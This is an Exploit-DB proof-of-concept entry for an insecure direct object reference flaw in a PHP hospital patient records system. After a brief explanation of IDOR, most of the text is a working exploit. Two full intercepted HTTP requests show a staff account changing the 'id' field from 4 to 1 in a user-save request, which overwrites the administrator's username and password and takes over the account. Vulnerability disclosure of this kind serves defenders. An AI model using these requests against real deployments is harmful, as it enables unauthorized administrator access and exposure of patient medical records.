Hospital's Patient Records Management System v1.0 - 'id' Insecure direct object references (IDOR) leads to Account TakeOver

Original link: https://www.exploit-db.com/exploits/50631

# Exploit Title: Hospital's Patient Records Management System v1.0 - 'id' Insecure direct object references (IDOR) leads to Account TakeOver
# Date: 2021-12-30
# Exploit Author: twseptian
# Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip
# Version: v1.0
# Tested on: Kali Linux 2021.4

Insecure direct object references (IDOR)

Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system.

Attack Vector

An attacker can takeover the Administrator's account

Steps of reproduce:

Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'.

• Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account' -> http://localhost/hprms/admin/?page=user

• Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite:

POST /hprms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239
Content-Length: 806
Origin: http://localhost
Connection: close
Referer: http://localhost/hprms/admin/?page=user
Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="id"

4
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="firstname"

user1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="lastname"

admin
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="username"

admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="password"

admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------17632878732301879013646251239--

• Step-3: Change parameter id '4' to id '1'

POST /hprms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239
Content-Length: 806
Origin: http://localhost
Connection: close
Referer: http://localhost/hprms/admin/?page=user
Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="id"

1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="firstname"

user1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="lastname"

admin
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="username"

admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="password"

admin1
-----------------------------17632878732301879013646251239
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------17632878732301879013646251239--

• step-4: Click 'Forward' on burpsuite. Now user1 is a Administrator.